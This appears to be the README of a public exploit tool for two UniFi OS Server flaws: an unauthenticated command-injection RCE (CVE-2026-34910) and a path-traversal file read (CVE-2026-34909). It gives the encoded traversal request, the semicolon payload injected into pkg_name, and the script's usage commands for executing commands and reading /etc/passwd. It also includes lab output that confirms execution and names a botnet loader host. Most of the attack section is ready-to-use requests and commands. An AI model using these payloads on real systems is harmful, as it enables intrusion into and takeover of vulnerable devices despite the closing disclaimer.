未授权命令注入 RCE(CVE-2026-34910)+ 路径遍历任意文件读取(CVE-2026-34909),影响 UniFi OS Server。
CVSS 10.0(严重) 各 · 已列入 CISA KEV · 正被一个
Mirai 衍生僵尸网络(azsxd 植入体)积极利用。
Ubiquiti UniFi OS 附带一个 nginx 认证网关,它将任何 RAW URI 以
/api/auth/validate-sso/ 开头的请求视为公开请求,但按
NORMALIZED URI(将 %2f 解码为 / 并折叠 ../)进行路由。对
遍历进行编码会使两者产生分歧:
GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=<CMD>&by_cmd=true
→ 到达内部包更新处理程序,该程序将 pkg_name 传递给
/bin/sh -c → 单次请求即可实现未认证 RCE。
同样的原语针对 /app-assets/... 可从磁盘读取文件
(CVE-2026-34909)。
# 1. Auth-bypass probe (non-destructive)
python3 CVE-2026-34910.py https://TARGET:8443 --check
# 2. RCE — run a command (CVE-2026-34910)
python3 CVE-2026-34910.py https://TARGET:8443 "id > /tmp/pwned.txt"
# 3. RCE proof — create a file on the target
python3 CVE-2026-34910.py https://TARGET:8443 --proof
# 4. File read (CVE-2026-34909)
python3 CVE-2026-34910.py https://TARGET:8443 --read /etc/passwd
RCE 载荷向处理程序内部的 sudo systemctl stop <pkg_name> shell 命令中注入一个分号:pkg_name=evil;<CMD> → sudo systemctl stop evil;<CMD> —— 注入的命令会以 ucs-update 用户身份在主机上执行。
$ python3 CVE-2026-34910.py https://127.0.0.1:11443 --proof
[*] Command: touch /tmp/PWNED_34910
[*] HTTP 200
[*] Response: {"code":-3,"codeS":"CODE_SYSTEM_ERROR",...}
[+] Request sent — command executed on target
# On the target (docker exec unifi-os-vuln):
$ ls -la /tmp/PWNED_34910
-rw-r--r-- 1 ucs-update ucs-update 0 Aug 9 21:52 /tmp/PWNED_34910 ✅ FILE CREATED
✅ 已完全验证 — 已在真实 UniFi OS Server 5.0.6 上确认 RCE (存在漏洞、已完成设置)运行于 Docker 中 (hieutq/unifi-os-server:5.0.6-amd64):
..%2f认证绕过可到达内部latest_package处理器 (响应:CODE_SYSTEM_ERROR/ "pkg_name required" — 而非 nginx 400)。pkg_name=evil;touch /tmp/PWNED_34910&by_cmd=true在目标上创建了文件 (-rw-r--r-- ucs-update)→ 命令注入 → 已确认 RCE。- 针对已修补的 UniFi OS 5.1.21,同一请求返回 HTTP 400(nginx 拒绝原始 URI/规范化 URI 的差异),确认了干净的阴性结果。
设置是通过真实 Web 向导完成的(设备名称 → 凭据 → 控制台密码 → 完成),因此该实验环境与生产安装的设备一致。
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --check
[*] Auth-bypass probe: HTTP 200
[+] VULNERABLE — handler reached (pkg_name required)
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --read /etc/passwd
[*] File: /etc/passwd
[*] HTTP 200
[+] File contents (80 bytes):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
| CVE | 严重程度 | 受影响 | 已修复 |
|---|---|---|---|
| CVE-2026-34910 | 10.0 严重 | UniFi OS Server(SAB-064 之前) | SAB-064 |
| CVE-2026-34909 | 10.0 严重 | UniFi OS Server(SAB-064 之前) | SAB-064 |
| CVE-2026-34908 | 10.0 严重 | UniFi OS Server(SAB-064 之前) | SAB-064 |
源自 Mirai/Gafgyt 的僵尸网络(azsxd v2.0 植入体)将认证绕过与命令注入串联,实现未授权 RCE——多架构加载器从 185.228.26.16 分发。参见 pwndefend 分析文章。
仅用于经授权的安全测试和教育目的。